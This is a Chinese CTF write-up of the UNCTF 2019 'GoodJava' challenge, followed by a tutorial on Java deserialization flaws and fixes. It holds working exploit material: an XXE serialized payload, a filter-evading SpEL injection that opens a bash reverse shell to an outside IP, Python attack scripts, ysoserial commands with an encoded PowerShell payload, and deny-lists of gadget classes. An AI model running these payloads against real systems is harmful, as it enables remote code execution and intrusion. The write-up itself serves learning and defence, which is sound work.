2019unctf的部分web题解

前言

这次打了unctf感觉他的web脑洞有点多没什么意思,不过有道java还是可以学到东西的,因此记录一下。

GoodJava

0x01 源码分析

题目中有用的代码不是很多,下面给出主要的代码。
Server.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package BOOT-INF.classes.com.unctf.Controller;

import com.unctf.Controller.Server;
import com.unctf.lalala.OIS;
import com.unctf.pojo.Man;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.nio.charset.Charset;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
@ResponseBody
public class Server
{
@RequestMapping(value = {"/server"}, method = {RequestMethod.POST})
public String server(@RequestBody byte[] requestStream) throws IOException, ClassNotFoundException {
Base64.Decoder base64 = Base64.getDecoder();
requestStream = base64.decode(requestStream);

InputStream inputStream = new ByteArrayInputStream(requestStream);
OIS ois = new OIS(inputStream);
Man man = (Man)ois.readObject();
ois.close();

return "Hello " + man.name;
}

@RequestMapping(value = {"/admin"}, method = {RequestMethod.POST})
public String admin(@RequestParam("secret") String secret, @RequestParam("name") String name) throws IOException {
if (!secret.equals(readFile("/passwd", StandardCharsets.UTF_8))) {
return "你不是管理员!";
}
Pattern pattern = Pattern.compile("Runtime|ProcessBuilder|Process", 2);
Matcher matcher = pattern.matcher(name);

if (matcher.find()) {
return "想都不要想";
}
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
Expression res = spelExpressionParser.parseExpression(name);
return res.getValue().toString();
}

static String readFile(String path, Charset encoding) throws IOException {
byte[] encoded = Files.readAllBytes(Paths.get(path, new String[0]));
return new String(encoded, encoding);
}
}
OIS.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package BOOT-INF.classes.com.unctf.lalala;
import com.unctf.lalala.OIS;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectStreamClass;

public class OIS extends ObjectInputStream {
private static final String[] whitelist = { "com.unctf.pojo.Man" };

public OIS(InputStream is) throws IOException { super(is); }

public Class<?> resolveClass(ObjectStreamClass des) throws IOException, ClassNotFoundException {
if (!Arrays.asList(whitelist).contains(des.getName())) {
throw new ClassNotFoundException("Cannot deserialize " + des.getName());
}
return super.resolveClass(des);
}
}
Man.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package BOOT-INF.classes.com.unctf.pojo;

import com.unctf.pojo.Man;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

public class Man
implements Serializable
{
public String name;
private static final long serialVersionUID = 54618731L;

public Man(String name) { this.name = name; }

private void readObject(ObjectInputStream requestStream) throws ClassNotFoundException, IOException, ParserConfigurationException, SAXException {
int paramInt = requestStream.readInt();
byte[] arrayOfByte = new byte[paramInt];

requestStream.read(arrayOfByte);
String xmlcontent = new String(arrayOfByte);

Pattern pattern = Pattern.compile("file", 2);
Matcher matcher = pattern.matcher(xmlcontent);
if (matcher.find()) {
this.name = "bad hacker";

return;
}
ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte);
DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance();
localDocumentBuilderFactory.setNamespaceAware(true);
DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder();
Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream);
NodeList nodeList = localDocument.getElementsByTagName("name");
Node node = nodeList.item(0);
this.name = node.getTextContent();
}
}
上面的这三个类是主要的,其余的都是空架的代码,采用的框架是sprint-boot
下面开始分析每个类的代码。

0x1 Server.class

1.在Server类中我们可以看到有两个路由/server,/admin。并且请求方式都是post,但是他们接收的数据类型不同,一个是接收字节流,一个是接收字符串。
2.在/server中需要把接收的字节流先base64.decode然后在推到字节数组缓冲流中,然后传到OIS类中实例化。
3.最后我们再把数据反序列化出来的时候,指定为我们Man类的特殊过滤。
4.最后回显到页面。
5.在/admin中我们有两个判断,第一个是通过读取/passwd下的secret,如果我们发送的和他的相等那么就可以绕过。
6.第二个判断是一个正则表达式,这个正则表达式把java中常见的执行shell命令的函数给过滤了。
7.它使用了Spring空架同时用了SPEL表达式,由于它使用的版本不安全因此存在注入。

0x2 OIS.class

OIS类中定义了白名单:
1
private static final String[] whitelist = { "com.unctf.pojo.Man" };
同时重写了resolveClass方法,重新定义了白名单的类加载名称。
1
2
3
4
5
6
7
 public Class<?> resolveClass(ObjectStreamClass des) throws IOException, ClassNotFoundException {
if (!Arrays.asList(whitelist).contains(des.getName())) {
throw new ClassNotFoundException("Cannot deserialize " + des.getName());
}
return super.resolveClass(des);
}
}

0x3 Man.class

这个类重写了readObject定义了反序列化时的特殊处理。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private void readObject(ObjectInputStream requestStream) throws ClassNotFoundException, IOException, ParserConfigurationException, SAXException {
int paramInt = requestStream.readInt();
byte[] arrayOfByte = new byte[paramInt];

requestStream.read(arrayOfByte);
String xmlcontent = new String(arrayOfByte);

Pattern pattern = Pattern.compile("file", 2);
Matcher matcher = pattern.matcher(xmlcontent);
if (matcher.find()) {
this.name = "bad hacker";

return;
}
ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte);
DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance();
localDocumentBuilderFactory.setNamespaceAware(true);
DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder();
Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream);
NodeList nodeList = localDocument.getElementsByTagName("name");
Node node = nodeList.item(0);
this.name = node.getTextContent();
}
不过有段代码我们应该要重视。
1
2
3
4
5
6
7
DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance();
localDocumentBuilderFactory.setNamespaceAware(true);
DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder();
Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream);
NodeList nodeList = localDocument.getElementsByTagName("name");
Node node = nodeList.item(0);
this.name = node.getTextContent();
上面代码是用来解析xml,可以看到没有任何的限制那么就存在xxe漏洞。

0x4 综上所述:

1.我们要先构造requestStram通过序列化和反序列化的数据进行xxe读取secret的内容。
3.我们要进行SPEL注入执行shell命令。
4.由于在Man.clss中过滤了file字段因此我们不能用file://协议来读取/passwd下的内容,不要忘记我们现在使用的空架是sprint-boot,那么我们还有一个协议可以替代file://协议,我们可以用netdoc:/来任意文件读取。
5.对于SPEL注入的过滤我们可以用字符串拼接来绕过。

0x02 payload1:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /server HTTP/1.1
Host: 101.71.29.5:10038
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/plain
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 228

rO0ABXNyABJjb20udW5jdGYucG9qby5NYW4AAAAAA0FqawMAAUwABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHdlAAAAYTw/eG1sIHZlcnNpb249IjEuMCI/PjwhRE9DVFlQRSBrYWlicm9bPCFFTlRJVFkgeHhlIFNZU1RFTSAibmV0ZG9jOi8uL3Bhc3N3ZCI+XT48bmFtZT4meHhlOzwvbmFtZT54
结果如下:
1
2
3
4
5
6
7
8
HTTP/1.1 200 
Server: nginx/1.14.2
Date: Thu, 24 Oct 2019 11:31:24 GMT
Content-Type: text/html;charset=UTF-8
Connection: close
Content-Length: 42

Hello k8Xnld8zOR2FhXEEnv3j3LQAiYGcb5IaPdVj

0x03 payload2:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /admin HTTP/1.1
Host: 101.71.29.5:10038
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 395

secret=k8Xnld8zOR2FhXEEnv3j3LQAiYGcb5IaPdVj&name=T(String).getClass().forName("java.l"%2b"ang.Ru"%2b"ntime").getMethod("ex"%2b"ec",T(String[])).invoke(T(String).getClass().forName("java.l"%2b"ang.Ru"%2b"ntime").getMethod("getRu"%2b"ntime").invoke(T(String).getClass().forName("java.l"%2b"ang.Ru"%2b"ntime")),new String[]{"/bin/bash","-c","bash -c 'bash -i >/dev/tcp/123.57.232.69/8080 0>%261'"})
结果如下:
1
2
3
4
5
6
7
8
HTTP/1.1 200 
Server: nginx/1.14.2
Date: Fri, 25 Oct 2019 11:53:56 GMT
Content-Type: text/html;charset=UTF-8
Connection: close
Content-Length: 30

java.lang.UNIXProcess@3dccbf57

0x04 下面给出xxe的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
import base64

# with open("./name.ser") as f:
# x=f.read()

headers={
'Content-Type': 'text/plain'
}
data=x
str='rO0ABXNyABJjb20udW5jdGYucG9qby5NYW4AAAAAA0FqawMAAUwABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHdlAAAAYTw/eG1sIHZlcnNpb249IjEuMCI/PjwhRE9DVFlQRSBrYWlicm9bPCFFTlRJVFkgeHhlIFNZU1RFTSAibmV0ZG9jOi8uL3Bhc3N3ZCI+XT48bmFtZT4meHhlOzwvbmFtZT54'
r=requests.post("http://101.71.29.5:10038/server",data=str,headers=headers)
print r.text
print base64.b64decode(str)
0x05 下面是RCE的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url="http://101.71.29.5:10038/admin"
datas={
"secret":"k8Xnld8zOR2FhXEEnv3j3LQAiYGcb5IaPdVj",
"name":"T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"bash -c 'bash -i >/dev/tcp/123.57.232.69/8080 0>%261'\"})"
}

headers={
"Content-Type":"application/x-www-form-urlencoded"
}
res=requests.post(url=url,headers=headers,data=datas)
print res.text
0x06 下面是java的本地测试代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
package com.unctf.solve;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.Serializable;
import java.util.Arrays;
import java.util.Base64;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;

import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

class Man implements Serializable {
public String name;
private static final long serialVersionUID = 54618731L;

public Man(String name) {
this.name = name;
}

private void writeObject(java.io.ObjectOutputStream out) throws IOException {
String payload = ("<?xml version=\"1.0\"?><!DOCTYPE kaibro[<!ENTITY xxe SYSTEM \"file:///C:/Users/liangjie/Desktop/flag.txt\">]><name>&xxe;</name>");
out.writeInt(payload.length());
out.write(payload.getBytes());
}

private void readObject(ObjectInputStream requestStream)
throws ClassNotFoundException, IOException, ParserConfigurationException, SAXException {
int paramInt = requestStream.readInt();
byte[] arrayOfByte = new byte[paramInt];

requestStream.read(arrayOfByte);
String xmlcontent = new String(arrayOfByte);

Pattern pattern = Pattern.compile("file", 2);
Matcher matcher = pattern.matcher(xmlcontent);
if (matcher.find()) {
this.name = "bad hacker";
return;
}
ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte);
DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance();
localDocumentBuilderFactory.setNamespaceAware(true);
DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder();
Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream);
NodeList nodeList = localDocument.getElementsByTagName("name");
Node node = nodeList.item(0);
this.name = node.getTextContent();
}
}

class OIS extends ObjectInputStream {
private static final String[] whitelist = { "com.unctf.solve.Man" };

public OIS(InputStream is) throws IOException {
super(is);
}

protected Class<?> resolveClass(ObjectStreamClass des) throws IOException, ClassNotFoundException {
// System.out.print(des.getName());
if (!Arrays.asList(whitelist).contains(des.getName())) {
throw new ClassNotFoundException("Cannot deserialize " + des.getName());
}

return super.resolveClass(des);
}
}

public class Payload2 {
public static void main(String args[]) throws Exception {
Man p = new Man("kaibro");
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(p);
oos.flush();

Base64.Encoder base64 = Base64.getEncoder();
// byte[] result = base64.encode(out.toByteArray());
String result=base64.encodeToString(out.toByteArray());
Base64.Decoder base = Base64.getDecoder();
byte[] requestStream = base.decode(result);
InputStream inputStream = new ByteArrayInputStream(requestStream);

OIS ois = new OIS(inputStream);
Man man = (Man) ois.readObject();
ois.close();

System.out.println(man.name);
}
}
这里先留一个坑,用java写个脚本。

0x07 下面是上面用的的各种知识的学习和了解:

0x1 java的序列化反序列化基础。
什么是序列化反序列化:
Java描述的是一个‘世界’,程序运行开始时,这个‘世界’也开始运作,但‘世界’中的对象不是一成不变的,它的属性会随着程序的运行而改变。
但很多情况下,我们需要保存某一刻某个对象的信息,来进行一些操作。比如利用反序列化将程序运行的对象状态以二进制形式储存与文件系统中,然后可以在另一个程序中对序列化后的对象状态数据进行反序列化恢复对象。可以有效地实现多平台之间的通信、对象持久化存储。
一个类的对象要想序列化成功,必须满足两个条件:
该类必须实现 java.io.Serializable 接口。
1.该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。
2.如果你想知道一个 Java 标准类是否是可序列化的,可以通过查看该类的文档,查看该类有没有实现 java.io.Serializable接口。
下面是一个java的例子:
对象所属的类:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.unctf.demo;

import java.io.Serializable;

public class Employee implements Serializable{
private static final long serialVersionUID = 1L;
private String name;
private String age;

public Employee(String name,String age) {
this.age=age;
this.age=name;
}

public void sayHello() {
System.out.println("Hello "+this.name+" your age is "+this.age);
}
}
将对象序列化为二进制文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.unctf.demo;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class EmpSer {
public static void main(String[] args) {
Employee employee=new Employee();
employee.name="ljdd520";
employee.age=19;

try {
File file=new File("./src/com/unctf/demo/flag.txt");
FileOutputStream fos=new FileOutputStream(file);
ObjectOutputStream oos=new ObjectOutputStream(fos);
// 把对象序列化保存到flag.txt中
oos.writeObject(employee);
oos.close();
}catch(IOException e) {
e.printStackTrace();
}
}
}
反序列化是从flag.txt中提取出对象:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.unctf.demo;

import java.io.File;
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class EmpUnser {
public static void main(String[] args) throws Exception {
File file = new File("./src/com/unctf/demo/flag.txt");
FileInputStream fis = new FileInputStream(file);
ObjectInputStream ois = new ObjectInputStream(fis);
Employee employee = (Employee) ois.readObject();
ois.close();
fis.close();
System.out.println(employee.name);
System.out.println(employee.age);
}
}
就这样,一个完整的序列化周期就完成了,其实实际应用中的序列化无非就是传输的方式和传输机制稍微复杂一点,和这个demo没有太大区别。

0x2 简单的反序列化漏洞:

在Java反序列化中,会调用被反序列化的readObject方法,当readObject方法书写不当时就会引发漏洞。
PS:有时也会使用readUnshared()方法来读取对象,readUnshared()不允许后续的readObject和readUnshared调用引用这次调用反序列化得到的对象,而readObject读取的对象可以。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.unctf.demo;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

class UnsafeClass implements Serializable{
private static final long serialVersionUID = 1L;
public String name;

private void readObject(ObjectInputStream in) throws IOException,ClassNotFoundException{
// 执行默认的readObject()方法
in.defaultReadObject();
Runtime.getRuntime().exec("calc.exe");
}
}

public class Test2 {
public static void main(String[] args) throws Exception{
UnsafeClass Unsafe=new UnsafeClass();
Unsafe.name="hacked by ljdd520";
File file=new File("./src/com/unctf/demo/flag.txt");
FileOutputStream fos=new FileOutputStream(file);
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(Unsafe);
oos.close();

// 从文件中反序列化对象
FileInputStream fis=new FileInputStream(file);
ObjectInputStream ois=new ObjectInputStream(fis);

// 开始恢复对象
UnsafeClass objectFromDisk=(UnsafeClass)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}

运行的逻辑为:

1.UnsafeClass类被序列化进flag.txt文件
2.从flag.txt文件中恢复对象
3.调用被恢复对象的readObject方法
4.命令执行
最后代码成功运行。

反序列化漏洞的起源

开发失误
之前的demo就是一个对反序列化完全没有进行安全审查的示例,但实战中不会有程序员会写出这种弱智代码。因此开发时产生的反序列化漏洞常见的有以下几种情况:
1.重写ObjectInputStream对象的resolveClass方法中的检测可被绕过。
2.使用第三方的类进行黑名单控制。虽然Java的语言严谨性要比PHP强的多,但在大型应用中想要采用黑名单机制禁用掉所有危险的对象几乎是不可能的。因此,如果在审计过程中发现了采用黑名单进行过滤的代码,多半存在一两个‘漏网之鱼’可以利用。并且采取黑名单方式仅仅可能保证此刻的安全,若在后期添加了新的功能,就可能引入了新的漏洞利用方式。所以仅靠黑名单是无法保证序列化过程的安全的。
基础库中隐藏的反序列化漏洞
优秀的Java开发人员一般会按照安全编程规范进行编程,很大程度上减少了反序列化漏洞的产生。并且一些成熟的Java框架比如Spring MVC、Struts2等,都有相应的防范反序列化的机制。如果仅仅是开发失误,可能很少会产生反序列化漏洞,即使产生,其绕过方法、利用方式也较为复杂。但其实,有很大比例的反序列化漏洞是因使用了不安全的基础库而产生的。
2015年由黑客Gabriel Lawrence和Chris Frohoff发现的‘Apache Commons Collections’类库直接影响了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等大型框架。直到今天该漏洞的影响仍未消散。
存在危险的基础库:
1
2
3
4
5
6
7
8
9
10
11
12
commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE
某反序列化防护软件便是通过禁用以下类的反序列化来保护程序:
1
2
3
4
5
6
7
8
'org.apache.commons.collections.functors.InvokerTransformer',
'org.apache.commons.collections.functors.InstantiateTransformer',
'org.apache.commons.collections4.functors.InvokerTransformer',
'org.apache.commons.collections4.functors.InstantiateTransformer',
'org.codehaus.groovy.runtime.ConvertedClosure',
'org.codehaus.groovy.runtime.MethodClosure',
'org.springframework.beans.factory.ObjectFactory',
'xalan.internal.xsltc.trax.TemplatesImpl'
基础库中的调用流程一般都比较复杂,比如org.apache.commons.collections.functors.InvokerTransformer的POP链就涉及反射、泛型等,而网上也有很多复现跟踪流程的文章,比如前些天先知发布的这两篇。
Java反序列化漏洞-玄铁重剑之CommonsCollection(上)
Java反序列化漏洞-玄铁重剑之CommonsCollection(下)
这里就不再赘述了,可以跟着ysoserial的EXP去源码中一步步跟进、调试。

如何发现Java反序列化漏洞

白盒检测

当持有程序源码时,可以采用这种方法,逆向寻找漏洞。
反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。因此审计过程中重点关注这些功能板块。
流程如下:
① 通过检索源码中对反序列化函数的调用来静态寻找反序列化的输入点
可以搜索以下函数:
1
2
3
4
5
6
7
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
小数点前面是类名,后面是方法名
② 确定了反序列化输入点后,再考察应用的Class Path中是否包含Apache Commons Collections等危险库(ysoserial所支持的其他库亦可)。
③ 若不包含危险库,则查看一些涉及命令、代码执行的代码区域,防止程序员代码不严谨,导致bug。
④ 若包含危险库,则使用ysoserial进行攻击复现。

黑盒检测

在黑盒测试中并不清楚对方的代码架构,但仍然可以通过分析十六进制数据块,锁定某些存在漏洞的通用基础库(比如Apache Commons Collection)的调用地点,并进行数据替换,从而实现利用。
在实战过程中,我们可以通过抓包来检测请求中可能存在的序列化数据。
序列化数据通常以AC ED开始,之后的两个字节是版本号,版本号一般是00 05但在某些情况下可能是更高的数字。
我们可以通过xxd,winhex等工具看序列化后的文件。
需要注意的是,AC ED 00 05是常见的序列化数据开始,但有些应用程序在整个运行周期中保持与服务器的网络连接,如果攻击载荷是在延迟中发送的,那检测这四个字节就是无效的。所以有些防火墙工具在检测反序列化数据时仅仅检测这几个字节是不安全的设置。
所以我们也要对序列化转储过程中出现的Java类名称进行检测,Java类名称可能会以“L”开头的替代格式出现 ,以’;’结尾 ,并使用正斜杠来分隔命名空间和类名(例如 “Ljava / rmi / dgc / VMID;”)。除了Java类名,由于序列化格式规范的约定,还有一些其他常见的字符串,例如 :表示对象(TC_OBJECT),后跟其类描述(TC_CLASSDESC)的’sr’或 可能表示没有超类(TC_NULL)的类的类注释(TC_ENDBLOCKDATA)的’xp’。
识别出序列化数据后,就要定位插入点,不同的数据类型有以下的十六进制对照表:
1
2
3
4
5
6
7
8
9
10
11
0x70 - TC_NULL
0x71 - TC_REFERENCE
0x72 - TC_CLASSDESC
0x73 - TC_OBJECT
0x74 - TC_STRING
0x75 - TC_ARRAY
0x76 - TC_CLASS
0x7B - TC_EXCEPTION
0x7C - TC_LONGSTRING
0x7D - TC_PROXYCLASSDESC
0x7E - TC_ENUM
AC ED 00 05之后可能跟上述的数据类型说明符,也可能跟77(TC_BLOCKDATA元素)或7A(TC_BLOCKDATALONG元素)其后跟的是块数据。
序列化数据信息是将对象信息按照一定规则组成的,那我们根据这个规则也可以逆向推测出数据信息中的数据类型等信息。并且有大牛写好了现成的工具-SerializationDumper
用法:
java -jar SerializationDumper-v1.0.jar aced000573720008456d706c6f796565eae11e5afcd287c50200024c00086964656e746966797400124c6a6176612f6c616e672f537472696e673b4c00046e616d6571007e0001787074000d47656e6572616c207374616666740009e59198e5b7a5e794b2
后面跟的十六进制字符串即为序列化后的数据

工具自动解析出包含的数据类型之后,就可以替换掉TC_BLOCKDATE进行替换了。AC ED 00 05经过Base64编码之后为rO0AB
在实战过程中,我们可以通过tcpdump抓取TCP/HTTP请求,通过SerialBrute.py去自动化检测,并插入ysoserial生成的exp

SerialBrute.py -r <file> -c <command> [opts]
SerialBrute.py -p <file> -t <host:port> -c <command> [opts]
使用ysoserial.jar访问请求记录判断反序列化漏洞是否利用成功:
java -jar ysoserial.jar CommonsCollections1 'curl " + URL + " '
当怀疑某个web应用存在Java反序列化漏洞,可以通过以上方法扫描并爆破攻击其RMI或JMX端口(默认1099)。

环境测试

在这里,我们使用大牛写好的DeserLab来模拟实战环境。
DeserLab演示
DeserLab是一个使用了Groovy库的简单网络协议应用,实现client向server端发送序列化数据的功能。而Groovy库和上文中的Apache Commons Collection库一样,含有可利用的POP链。
我们可以使用上文提到的ysoserial在线载荷生成器进行模拟利用。
复现环境:
1.win10
2.python2.7
3.java1.8
首先生成有效载荷,由于是在windows环境下,所以使用powershell作为攻击载体。

用ysoserial生成针对Groovy库的payload
java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc bQBrAGQAaQByACAAaABhAGMAawBlAGQAXwBiAHkAXwBwAGgA MAByAHMAZQA=" > payload2.bin

在DeserLab的Github项目页面下载DeserLab.jar
命令行下使用java -jar DeserLab.jar -server 127.0.0.1 6666开启本地服务端。

使用deserlab_exploit.py脚本【上传到自己的github gist页面上】生成payload:

python deserlab_exploit.py 127.0.0.1 6666 payload2.bin

PS:注意使用py2.7
成功写入:

即可执行任意命令

反序列化修复

每一名Java程序员都应当掌握防范反序列化漏洞的编程技巧、以及如何降低危险库对应用造成的危害。
对于危险基础类的调用。

#####下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller,之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。

通过Hook resolveClass来校验反序列化的类

在使用readObject()反序列化时首先会调用resolveClass方法读取反序列化的类名,所以这里通过重写ObjectInputStream对象的resolveClass方法即可实现对反序列化类的校验。具体实现代码Demo如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class AntObjectInputStream extends ObjectInputStream{
public AntObjectInputStream(InputStream inputStream)
throws IOException {
super(inputStream);
}

/**
* 只允许反序列化SerialObject class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
ClassNotFoundException {
if (!desc.getName().equals(SerialObject.class.getName())) {
throw new InvalidClassException(
"Unauthorized deserialization attempt",
desc.getName());
}
return super.resolveClass(desc);
}
}
通过此方法,可灵活的设置允许反序列化类的白名单,也可设置不允许反序列化类的黑名单。但反序列化漏洞利用方法一直在不断的被发现,黑名单需要一直更新维护,且未公开的利用方法无法覆盖。
1
2
3
4
5
6
7
8
9
10
org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.collections4.functors.InstantiateTransformer
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.MethodClosure
org.springframework.beans.factory.ObjectFactory
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
org.apache.commons.fileupload
org.apache.commons.beanutils
根据以上方法,有大牛实现了线程的SerialKiller包可供使用。

使用ValidatingObjectInputStream来校验反序列化的类

使用Apache Commons IO Serialization包中的ValidatingObjectInputStream类的accept方法来实现反序列化类白/黑名单控制,具体可参考ValidatingObjectInputStream介绍;示例代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
private static Object deserialize(byte[] buffer) throws IOException,
ClassNotFoundException , ConfigurationException {
Object obj;
ByteArrayInputStream bais = new ByteArrayInputStream(buffer);
// Use ValidatingObjectInputStream instead of InputStream
ValidatingObjectInputStream ois = new ValidatingObjectInputStream(bais);

//只允许反序列化SerialObject class
ois.accept(SerialObject.class);
obj = ois.readObject();
return obj;
}

使用contrast-rO0防御反序列化攻击

contrast-rO0是一个轻量级的agent程序,通过通过重写ObjectInputStream来防御反序列化漏洞攻击。使用其中的SafeObjectInputStream类来实现反序列化类白/黑名单控制,示例代码如下:
1
2
3
4
SafeObjectInputStream in = new SafeObjectInputStream(inputStream, true);
in.addToWhitelist(SerialObject.class);

in.readObject();

使用ObjectInputFilter来校验反序列化的类

Java 9包含了支持序列化数据过滤的新特性,开发人员也可以继承java.io.ObjectInputFilter类重写checkInput方法实现自定义的过滤器,,并使用ObjectInputStream对象的setObjectInputFilter设置过滤器来实现反序列化类白/黑名单控制。示例代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.util.List;
import java.util.Optional;
import java.util.function.Function;
import java.io.ObjectInputFilter;
class BikeFilter implements ObjectInputFilter {
